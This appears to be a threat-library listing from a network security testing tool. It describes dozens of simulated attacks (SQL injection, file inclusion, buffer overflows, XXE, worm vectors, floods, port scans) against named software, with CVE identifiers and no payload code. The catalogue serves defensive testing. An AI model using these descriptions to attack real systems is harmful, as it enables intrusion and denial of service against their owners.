Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0172
Threat File Name:	FSC20040716-01_mod_ssl_-_mod_proxy_Hook_Functions_Format_String_Vulnerability.xml
Executive Description:	mod_ssl - mod_proxy Hook Functions Format String Vulnerability

Detailed Description:	A vulnerability exists in , a module for Apache 1.3.x that is used for handling SSL connections. The module contains a format string vulnerability that is exercised when is used within an Apache instance operating as an HTTP/HTTPS proxy using the mod_proxy module. A malicious attacker may use this vulnerability to trigger a buffer overflow by accessing the Apache proxy with a specially crafted URI.
Protocol Type:	HTTP
CVEID:	CVE-2004-0700
Threat Package:	Standard
Threat File Name:	TSL20140214-02_Symantec_Endpoint_Protection_Manager_XML_External_Entity.xml
Executive Description:	Symantec Endpoint Protection Manager XML External Entity
Detailed Description:	A XML external entity (XXE) vulnerability exists in Symantec Endpoint Protection Manager (SEPM). This is due to an incorrectly configured XML parser in the management console that readily processes XML external entities. A remote unauthenticated attacker may exploit this vulnerability via specially crafted HTTP requests containing XML to bypass security policies, perform server-side request forgery (SSRF) and cause a denial of service condition.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-5014
OSVDB:	103305
Threat File Name:	TSL20170412-10_Adobe_Acrobat_and_Reader_JPEG2000_Parsing_Out_of_Bounds_Read.xml
Executive Description:	Adobe Acrobat and Reader JPEG2000 Parsing Out of Bounds Read
Detailed Description:	An out-of-bounds read vulnerability has been reported in Adobe Acrobat and Reader. The vulnerability is due to improper validation of embedded JPEG2000 images in a PDF document. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted webpage or a maliciously crafted PDF document. Successful exploitation could result in information disclosure which could be used to further compromise the target system.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-3045
Threat File Name:	zotob.xml
Executive Description:	Zotob Worm Exploit Vector
Detailed Description:	This threat is the Zotob worm. Zotob uses the vulnerability in MS05-039 to propagate. This attack uses the SMB port on Microsoft systems, which typically listens on port 445.
Protocol Type:	SMB
CVEID:	CVE-2005-1983
OSVDB:	18605
Threat Package:	Standard
Threat File Name:	FSC20100323-04_SAP_GUI_SAPBExCommonResources_ActiveX_Command_Execution_IPv6.xml
Executive Description:	SAP GUI SAPBExCommonResources ActiveX Command Execution(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been reported in SAP GUI SAPBExCommonResources ActiveX control. The vulnerability is due to a design weakness in the "Execute" function of the ActiveX Object BExGlobal. This may allow remote attackers to execute arbitrary command by enticing the target user to open a maliciously crafted HTML document. In a successful attack scenario, where arbitrary code is injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. If code execution is not successful, a denial of service condition may occur on the target system.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
Threat Package:	Standard
Threat File Name:	PortScanXMAS.xml
Executive Description:	Portscan: XMAS
Detailed Description:	This threat mimics the behavior of nmap's Xmas Tree portscan. An Xmas Tree scan sends a TCP packet with the FIN, URG, and PUSH flags set. A closed port will respond with a RST whereas an open port will not respond.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	wbblog_sql.xml
Executive Description:	WBBlog Remote SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL statement that is executed by the server. WBBlog is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-1481
Threat Package:	Standard
Threat File Name:	TSL20110809-05_Microsoft_Internet_Explorer_Style_Object_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Style Object Memory Corruption(IPv6 Version)
Detailed Description:	A remote code execution vulnerability exists in Microsoft's Internet Explorer (IE). The vulnerability is due to insufficient validation of an object assigned as a style's behaviour. A remote attacker can exploit this vulnerability by enticing a target user to visit a crafted web page in IE. Successful exploitation could result in execution of arbitrary code in the target user's security context. An unsuccessful exploitation attempt may result in the abnormal termination of the affected IE process.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1964
Threat File Name:	TSL20131018-07_Google_Chrome_NotifyInstanceWasDeleted_Use_After_Free.xml
Executive Description:	Google Chrome NotifyInstanceWasDeleted Use After Free
Detailed Description:	A use after free vulnerability exists in Google Chrome. The vulnerability is due to memory corruption while handling ready state and domcontentloaded events in a web page. A remote attacker could exploit these vulnerabilities by enticing a user to open a malicious web page. Successful exploitation could permit an attacker to execute arbitrary code in the context of the vulnerable application or bypass security restrictions.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-2912
OSVDB:	97972
Threat File Name:	FSC20080319-02_Digium_Asterisk_Invalid_RTP_Payload_Type_Number_Memory_Corruption.xml
Executive Description:	Digium Asterisk Invalid RTP Payload Type Number Memory Corruption

Detailed Description:	There exists a memory corruption vulnerability in Digium Asterisk product. The vulnerability is due to insufficient validation of user-supplied data in the Session Description Protocol (SDP) payload. The vulnerability can be exploited by remote unauthenticated attackers by sending a request containing a malicious value in the payload. Successful exploitation of this vulnerability may allow an attacker to corrupt memory and cause denial-of-service condition, or possibly execute arbitrary code in the context of the affected service. Upon a successful attack, the vulnerable Asterisk server will allow execution of code with the privileges of the service. In a case where code injection is not successful, the service will terminate, creating a denial of service condition. The service needs to be restarted manually to restore the functionality.
Protocol Type:	SIP
CVEID:	CVE-2008-1289
Threat Package:	Standard
Threat File Name:	phpmymanga_rfi_IPv6.xml
Executive Description:	PhpMyManga Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. PhpMyManga is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	floodICMPDFwhenfragsneeded_IPv6.xml
Executive Description:	ICMP DF when Frags Needed Flood (IPv6 Version)
Detailed Description:	This threat sends out an ICMP DF when Frags Needed flood. In many implementations, this can cause a "hard error" for a TCP connection, terminating it. TCP stacks should ignore this message if path MTU discovery is not enabled, but many do not. By continuously sending these packets, this can cause a denial of service on the target. (IPv6 Version)
Protocol Type:	ICMP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20060210-05_IBM_Lotus_Notes_Attachment_Viewer_UUE_File_Handling_Buffer_Overflow.xml
Executive Description:	IBM Lotus Notes Attachment Viewer UUE File Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in IBM Lotus Notes Attachment Viewer. The vulnerability is caused due to a failure in proper buffer boundary checking when handling UUE archive files. An attacker may exploit this issue to inject and execute arbitrary code on the target host system with the privileges of the user running the affected application.
Protocol Type:	SMTP
CVEID:	CVE-2005-2618
Threat Package:	Standard
Threat File Name:	smtp_wiz.xml
Executive Description:	Sendmail WIZ command
Detailed Description:	This threat uses an archaic sendmail command "WIZ". This would allow a remote shell on the target SMTP server without a password. This threat should be ineffective against any modern SMTP server. SMTP servers listen on port 25.
Protocol Type:	SMTP
CVEID:	CVE-1999-0145
OSVDB:	15962
Threat Package:	Standard
Threat File Name:	http_index.xml
Executive Description:	HTTP INDEX request
Detailed Description:	This threat performs a HTTP INDEX request. This can cause a webserver to disclose a listing of files when the server is setup in a fashion to prevent this. This can be used to launch further attacks to access elements of the website which are typically non-viewable. The threat affects web servers, which typically listen on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20131212-08 EMC_CMCNE_inmservlets_war_UnifiedFileUploadMoreInfoServlet_Directory_Traversal_IPv6.xml
Executive Description:	EMC CMCNE inmservlets.war UnifiedFileUploadMoreInfoServlet Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the UnifiedFileUploadMoreInfoServlet of inmservlets.war when processing HTTP requests. A remote unauthenticated attacker can copy any files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2013-6810
OSVDB:	101209
Threat File Name:	TSL20140211-24_Microsoft_Internet_Explorer_CVE-2014-0274_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2014-0274 Use After Free(IPv6 Version)
Detailed Description:	A use-after-free vulnerability exists in Internet Explorer. The vulnerability is due to an error in the way objects are handled. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0274
OSVDB:	103173
Threat File Name:	phpkit_cmi_IPv6.xml
Executive Description:	PHPKIT remote command execution exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted url containing PHP code which is executed by the server which then downloads a payload from a SMB server. PHPKIT is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0786
OSVDB:	20562

Threat File Name:	TSL20121026-01_CYME_Multiple_Products_ChartFX_ClientServer_Core_dll_Remote_Code_Execution_IPv6.xml
Executive Description:	CYME Multiple Products ChartFX.ClientServer.Core.dll Remote Code Execution(IPV6 Version)
Detailed Description:	A code execution vulnerability exists in CYME multiple products. The vulnerability is due to insufficient input validation while handling parameters to the ChartFX ActiveX control. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to visit a malicious web site. This can lead to code execution in the context of the affected user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	IPv6,HTTP,HTTPS
OSVDB:	85894
Threat File Name:	ej3_topo_rcmi_IPv6.xml
Executive Description:	EJ3 TOPO Class_DB.Text.PHP Multiple Remote PHP Script Code Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a series of crafted urls containing php script to be placed on the affected server then executed on said server with a malicious get request. EJ3 TOPO is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100504-02_RealVNC_VNC_Server_ClientCutText_Message_Memory_Corruption_IPv6.xml
Executive Description:	RealVNC VNC Server ClientCutText Message Memory Corruption (IPv6 Version)
Detailed Description:	A vulnerability has been reported in RealVNC VNC Server. The vulnerability is due to insufficient boundary checks when handling ClientCutText messages sent from RealVNC clients. Remote authenticated attackers could exploit this vulnerability by sending a crafted ClientCutText VNC command. Successful exploitation of this vulnerability may lead to injection and execution of arbitrary code within the context of SYSTEM user on Windows systems. Attack scenarios where code execution is not successful will result in abnormal termination of the VNC Server leading to a Denial of Service condition. (IPv6 Version)
Protocol Type:	RFB/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120214-03_Microsoft_SharePoint_Foundation_inplnview_aspx_Cross-Site_Scripting.xml
Executive Description:	Microsoft SharePoint Foundation inplnview.aspx Cross-Site Scripting
Detailed Description:	A cross-site scripting vulnerability has been discovered in Microsoft SharePoint Foundation. The vulnerability is due to insufficient validation of parameters passed to inplnview.aspx and could lead to execution of malicious script code inside the browser of the target user. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted URL. If the attack is successful, malicious script code will be executed in the browser of the target user, possibly issuing SharePoint Foundation commands as the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-0017
OSVDB:	79262
Threat File Name:	newsportal_cmi_IPv6.xml
Executive Description:	Newsportal (poll.php) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat send a crafted HTTP query containing a local or remote path to a file which is included into the PHP source via poll.php's file_newsportal parameter. NewsPortal is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2557
OSVDB:	25531
Threat Package:	Standard
Threat File Name:	FSC20080815-11_Linux_Kernel_DCCP_Protocol_Handler_dccp_setsockopt_change_Integer_Ove_IPv6.xml
Executive Description:	Linux Kernel DCCP Protocol Handler dccp_setsockopt_change Integer Overflow (IPv6 Version)
Detailed Description:	There exists an integer overflow vulnerability in the Datagram Congestion Control Protocol (DCCP) stack in Linux kernel. The flaw is due to lack of data validation when parsing DCCP datagrams. An unauthenticated remote attacker may leverage this vulnerability to raise a denial of service condition on the target system. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2008-3276
Threat Package:	Standard
Threat File Name:	TSL20170615-02_Schneider_Electric_U.motion_Builder_runscript.php_Directory_Traversal_IPv6.xml
Executive Description:	Schneider Electric U.motion Builder runscript.php Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in Schneider Electric U.motion Builder. This vulnerability is caused by a lack of input validation, and access control to the runscript.php script. A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation results in information disclosure.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-7974
Threat File Name:	NOOPudpPHP-UNIX2_IPv6.xml
Executive Description:	UDP NOOP Variant HP-UNIX 2 (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170324-02_SAP_GUI_regsvr32.exe_Rule_Security_Policy_Bypass.xml

Executive Description:	SAP GUI regsvr32.exe Rule Security Policy Bypass
Detailed Description:	A security policy bypass vulnerability has been reported in SAP GUI. The vulnerability is due to improper implementation of client side security policies regarding the Windows application regsvr32.exe. A remote attacker could exploit this vulnerability by enticing an user to connect to a malicious SAP server. Successful exploitation could lead to remote code execution in the security context of the affected application.
Protocol Type:	SAP NetWeaver, SMB/CIFS
CVEID:	CVE-2017-6950
Threat File Name:	FSC20110110-04_HP_Data_Protector_Manager_RDS_Denial_of_Service.xml
Executive Description:	HP Data Protector Manager RDS Denial of Service
Detailed Description:	A denial of service vulnerability exists in HP Data Protector Manager RDS service. The vulnerability is due to a design error while handling packets containing an overly large size value. Remote unauthenticated attackers could exploit this vulnerability by sending a crafted packet to the vulnerable service on the target server. Successful exploitation would terminate the RDS service.
Protocol Type:	Proprietary
Threat File Name:	FSC20040319-02_OpenBSD_ISAKMP_Multiple_Vulnerabilities_IPv6.xml
Executive Description:	OpenBSD ISAKMP Multiple Vulnerabilities (IPv6 Version)
Detailed Description:	There are multiple vulnerabilities within the ISAKMP daemon that is included in installations of OpenBSD. A remote attacker without credentials can cause, through a steady stream of traffic, a denial of service condition on the remote server. (IPv6 Version)
Protocol Type:	ISAKMP/IPv6
Threat Package:	Standard
Threat File Name:	wmplt1_aiff_dos.xml
Executive Description:	Windows Media Player AIFF Divide By Zero Exception Denial Of Service Vulnerability
Detailed Description:	This threat uses a malformed AIFF audio file to cause an divide by zero exception in Windows Media Player 11, leading to a denial of service condition. This threat is delivered via a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20070508-20_Microsoft_Excel_Malformed_Filter_Records_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Excel Malformed Filter Records Handling Code Execution (IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in the way Microsoft Excel processes files. The vulnerability is a result of insufficient data validation while processing Excel AutoFilter records. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1214
Threat Package:	Standard
Threat File Name:	FSC20071212-08_Apache_mod_imap_and_mod_imagemap_Module_Cross-Site_Scripting.xml
Executive Description:	Apache mod_imap and mod_imagemap Module Cross-Site Scripting
Detailed Description:	There exist a cross-site scripting vulnerability in Apache mod_imap and mod_imagemap Module. The flaw is due to lack of validation of the user supplied input data. The flaw may be exploited by malicious users to execute arbitrary HTML code on target user's web browser, within the context of a trusted web site.
Protocol Type:	HTTP
CVEID:	CVE-2007-5000
Threat Package:	Standard
Threat File Name:	FSC20080430-03_Castle_Rock_Computing_SNMPc_Network_Manager_Community_String_Stack_Buffer_Overflow.xml
Executive Description:	Castle Rock Computing SNMPc Network Manager Community String Stack Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Castle Rock Computing SNMPc Network Manager. The vulnerability can be exploited when an overly long community string is supplied in the SNMP TRAP message. Successful exploitation can lead to the injection and execution of arbitrary code with SYSTEM level privileges. If an attack attempt is either unsuccessful in diverting the process flow or is meant to create a denial of service condition, then the affected service will terminate. In a more sophisticated attack, where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the System account.
Protocol Type:	SNMP
CVEID:	CVE-2008-2214
Threat Package:	Standard
Threat File Name:	lupper25_IPv6.xml
Executive Description:	Lupper Worm 25 (IPv6 Version)
Detailed Description:	This threat is one of the HTTP requests for the Lupper Worm. Lupper is a worm that exploits well known web application holes. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1921
OSVDB:	17793
Threat Package:	Standard
Threat File Name:	ms_speech_activex_rbof_IPv6.xml
Executive Description:	Microsoft Speech API ActiveX control Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Microsoft Windows Speech API ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-2222
Threat Package:	Standard
Threat File Name:	scout_portal_sqli.xml
Executive Description:	Scout Portal Toolkit 1.4.0 (forumid) Remote SQL Injection Exploit
Detailed Description:	This threat sends a crafted HTTP GET query containing an SQL query with us appended to an existing SQL query and then executed by the server. Scout Portal Toolkit is a web based application that typically listens on port 80.

Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	firefox_addbookmark_dos.xml
Executive Description:	Firefox Add Bookmark Denial of Service
Detailed Description:	This threat sends a malicious piece of Javascript which will cause Mozilla Firefox and related browsers to crash. This can be used by a malicious attacker to force a user to lose all open webpages. This threat mimics a webserver sending the malicious attack from the virtual server, and would typically be sent across port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-1993
Threat Package:	Standard
Threat File Name:	TSL20140130-08 EMC_CMCNE_inmservlets_war_FileUploadController_Arbitrary_File_Upload_IPv6.xml
Executive Description:	EMC CMCNE inmservlets_war FileUploadController Arbitrary File Upload(IPv6 Version)
Detailed Description:	A code execution vulnerability exists in EMC Connectrix Manager Converged Network Edition. The vulnerability is due to lack of authentication and insufficient input validation in the FileUploadController servlet of inmservlets_war when processing HTTP requests. A remote unauthenticated attacker can upload arbitrary files to arbitrary locations. In a successful attack scenario, the attacker can execute arbitrary code with SYSTEM privileges by placing executable files in critical locations.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-6810
Threat File Name:	banex_sqli.xml
Executive Description:	Banex PHP MySQL Banner Exchange Remote Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. BanexPHP is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-3965
Threat Package:	Standard
Threat File Name:	TSL20140214-02_Symantec_Endpoint_Protection_Manager_XML_External_Entity_IPv6.xml
Executive Description:	Symantec Endpoint Protection Manager XML External Entity(IPv6 Version)
Detailed Description:	A XML external entity (XXE) vulnerability exists in Symantec Endpoint Protection Manager (SEPM). This is due to an incorrectly configured XML parser in the management console that readily processes XML external entities. A remote unauthenticated attacker may exploit this vulnerability via specially crafted HTTP requests containing XML to bypass security policies, perform server-side request forgery (SSRF) and cause a denial of service condition.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2013-5014
OSVDB:	103305
Threat File Name:	FSC20060627-02_Microsoft_Internet_Explorer_Cross_Domain_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Internet Explorer Cross Domain Information Disclosure (IPv6 Version)
Detailed Description:	There exists an information disclosure vulnerability in the Microsoft Internet Explorer browser. The flaw is caused by Internet Explorer's failure to impose proper cross domain data access restrictions. An attacker can exploit this vulnerability to retrieve information from the memory used by Internet Explorer. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3280
Threat Package:	Standard
Threat File Name:	formmail_IPv6.xml
Executive Description:	Formmail Probe (IPv6 Version)
Detailed Description:	This threat looks for the existence of the file formmail.pl. Spammers use this technique to probe for vulnerable webserver CGIs that can be used to email out advertisements. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2001-0357
OSVDB:	652
Threat Package:	Standard
Threat File Name:	winamp_mp4_bof.xml
Executive Description:	Nullsoft Winamp 5.32 MP4 tags Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malformed mp4 file to Demonstrate a buffer overflow in Nullsoft Winamp media player. This threat is delivered via web page listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20081014-14_Microsoft_Internet_Explorer_Uninitialized_Layout_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Uninitialized Layout Memory Corruption (IPv6 Version)
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. The vulnerability is specifically due to insufficient validation of uninitialized HTML object which leads to memory corruption. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the currently logged on user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3475
Threat Package:	Standard
Threat File Name:	ms03-043-2_IPv6.xml
Executive Description:	Microsoft Messenger Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to cause a reboot on the target Windows machine through a flaw in Microsoft Messaging. It targets Microsoft's DCOM system, which listens on port 135. For this threat, that destination port is hardcoded. This threat is fragmented into multiple IP fragments. (IPv6 Version)
Protocol Type:	DCOM/IPv6
CVEID:	CVE-2003-0717

OSVDB:	10936
Threat Package:	Standard
Threat File Name:	guestbook_xss.xml
Executive Description:	Toms Guestebuch 1.00
Detailed Description:	This threat sends a crafted URL that contains Javascript to be included in the returned page. Toms Guestebuch is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat File Name:	TSL20170711-11_Microsoft_Windows_System_Information_Console_XXE_Injection_Information_Disclosure.xml
Executive Description:	Microsoft Windows System Information Console XXE Injection Information Disclosure
Detailed Description:	An XML external entity (XXE) injection vulnerability has been reported in the System Information Console component of Microsoft Windows. The vulnerability is due to a failure to properly handle external entity references in XML files. A remote attacker could exploit this vulnerability by enticing a target user into opening a crafted XML file with System Information Console. Successful exploitation results in the disclosure of file contents from the target system.
Protocol Type:	HTTP,HTTPS,IMAP,SMB/CIFS,POP3,FTP
CVEID:	CVE-2017-8557
Threat File Name:	osx_metadata_cmi_IPv6.xml
Executive Description:	Apple Mac OS X Archive Metadata Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a zip file which exercises the OSX archive metadata flaw through an HTTP connection. OSX is an operating system developed by apple computer, and this threat is delivered over HTTP which typically uses port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0848
OSVDB:	23510
Threat File Name:	FSC20080122-06_Citadel_SMTP_RCPT_TO_Remote_Buffer_Overflow_IPv6.xml
Executive Description:	Citadel SMTP RCPT TO Remote Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Citadel SMTP Server. The vulnerability is due to insufficient boundary check when processing user provided data. Remote attackers could exploit this vulnerability by supplying a specially crafted RCPT TO command to the server. Successful exploitation of this vulnerability allows remote attackers execute arbitrary code with the privileges of the affected application. (IPv6 Version)
Protocol Type:	/IPv6
Threat Package:	Standard
Threat File Name:	chargenecholoop.xml
Executive Description:	Chargen and Echo Loop
Detailed Description:	This threat crafts a specific packet causing the echo and chargen UDP services to begin talking to each other. A similar threat can be adjusted to target other connections between two target services. This threat allows the source and destination to be specified separately, even if they are the same machine.
Protocol Type:	UDP
CVEID:	CVE-1999-0103
OSVDB:	150
Threat Package:	Standard
Threat File Name:	edgwall_trac_sqli_IPv6.xml
Executive Description:	Edgwall Software Trac Search Module SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Edgwall an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4065
OSVDB:	21459
Threat File Name:	FSC20080812-19_Microsoft_Internet_Explorer_Objects_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Objects Handling Memory Corruption
Detailed Description:	There exists a memory corruption vulnerability in Microsoft Internet Explorer. A crafted webpage can cause Internet Explorer to access uninitialized memory leading to a crash or execution of arbitrary code within the context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-2254
Threat Package:	Standard
Threat File Name:	FSC20060512-14_RealVNC_Password_Authentication_Bypass_Vulnerability_IPv6.xml
Executive Description:	RealVNC Password Authentication Bypass Vulnerability (IPv6 Version)
Detailed Description:	An authentication bypass vulnerability exists in the RealVNC server product. Specifically, the vulnerable application does not properly verify the chosen authentication methods sent to it by the client, resulting in a situation where the requirement for authentication is bypassed. An attacker can exploit this vulnerability by modifying a RealVNC client or by using traffic-modifying tools to connect to any RealVNC server without authentication. (IPv6 Version)
Protocol Type:	VNC/IPv6
CVEID:	CVE-2006-2369
Threat Package:	Standard
Threat File Name:	FSC20100810-15_Microsoft_Silverlight_Pointer_Handling_Memory_Corruption.xml
Executive Description:	Microsoft Silverlight Pointer Handling Memory Corruption
Detailed Description:	A remote code execution vulnerability has been reported in Microsoft Silverlight. The vulnerability is due to a flaw in the way that Microsoft Silverlight handles pointers. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page, potentially causing arbitrary code to be injected and executed in the context of the current logged on user. Successful exploitation could result in execution of arbitrary code on the vulnerable system in the context of the logged-on user. Additionally, the behavior of the target machine is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS

CVEID:	CVE-2010-0019
Threat Package:	Standard
Threat File Name:	FSC20090908-10_Microsoft_Windows_Media_Playback_Memory_Corruption.xml
Executive Description:	Microsoft Windows Media Playback Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in the MP3 parser of Microsoft Windows Media Format. The vulnerability is due to the way that Microsoft Windows handles MP3 media files. A remote attacker can exploit this vulnerability by enticing the target to open a malicious mp3 file. In the case of successful code injection and execution, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be executed with the privileges of the currently user. In the case where code execution is not successful, the application using the vulnerable component may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-2499
Threat Package:	Standard
Threat File Name:	webdrivers_simpleforum_sqli.xml
Executive Description:	Webdrivers Simple Forum (message_details.php) SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Webdrivers Simple Forum is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-5802
Threat Package:	Standard
Threat File Name:	3CTftpSvc_dos_IPv6.xml
Executive Description:	3CTftpSvc <= 2.0.1 (Long Transporting Mode) Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a large buffer sent to a vulnerable TFTP server triggering a buffer overflow or denial of service condition. 3CTftpSvc is a TFTP server that typically listens on udp port 69. (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120319-08_LANDesk_ThinkManagement_Suite_ServerSetup_asmx_Directory_Traversal.xml
Executive Description:	LANDesk ThinkManagement Suite ServerSetup.asmx Directory Traversal
Detailed Description:	A directory traversal vulnerability exists in LANDesk ThinkManagement Suite. The vulnerability is due to insufficient validation of user input while processing requests sent to ServerSetup.asmx. By specifying a RunAMTCommand operation, remote, unauthenticated attackers are able to create arbitrary files on the server and execute arbitrary code from the uploaded file.
Protocol Type:	HTTP
CVEID:	CVE-2012-1195
OSVDB:	79276
Threat File Name:	TSL20160907-06_Trend_Micro_SafeSync_for_Enterprise_ad_pm_id_Remote_Command_Execution_IPv6.xml
Executive Description:	Trend Micro SafeSync for Enterprise ad.pm id Remote Command Execution (IPv6 Version)
Detailed Description:	A remote command execution vulnerability exists in Trend Micro SafeSync for Enterprise ad.pm page. The vulnerability is due to insufficient validation of the user-supplied id parameter. A remote, authenticated attacker could exploit this vulnerability by sending a crafted input to the vulnerable system. Successful exploitation could lead to arbitrary command execution under the security context of SYSTEM.
Protocol Type:	HTTPS, IPv6
Threat File Name:	sipvoicemailflash_IPv6.xml
Executive Description:	SIP Voicemail Flash (IPv6 Version)
Detailed Description:	This threat sends out SIP messages to phones alternately informing them that they have and don't have voicemail. This can cause user confusion and overwhelm tech support. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	TSL20141106-07_LibreOffice_Impress_Remote_Control_Use_After_Free_IPv6.xml
Executive Description:	LibreOffice Impress Remote Control Use After Free IPv6 version.
Detailed Description:	A use after free vulnerability exists in LibreOffice Impress. The vulnerability is due to an error in the code managing remote control port. A remote unauthenticated attacker can exploit this vulnerability by sending crafted data to the affected port. Successful exploitation will result in arbitrary code execution in the context of the affected application.
Protocol Type:	LibreOffice Impress Remote Control Protocol.IPV6
CVEID:	CVE-2014-3693
OSVDB:	114326
Threat File Name:	sipkeepaliveflood_IPv6.xml
Executive Description:	SIP Keepalive Flood (IPv6 Version)
Detailed Description:	This threat sends out a flood of SIP keepalive messages. This flood can be used to overwhelm VoIP equipment such as PBXes or phones. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	http_get_url.xml
Executive Description:	HTTP Request for Microsoft URL File
Detailed Description:	This threat is an HTTP request for a .LNK file. While not unusual by itself, it can represent either the execution of strange remote code, or an attempted download of malware.
Protocol Type:	HTTP
Threat Package:	Standard
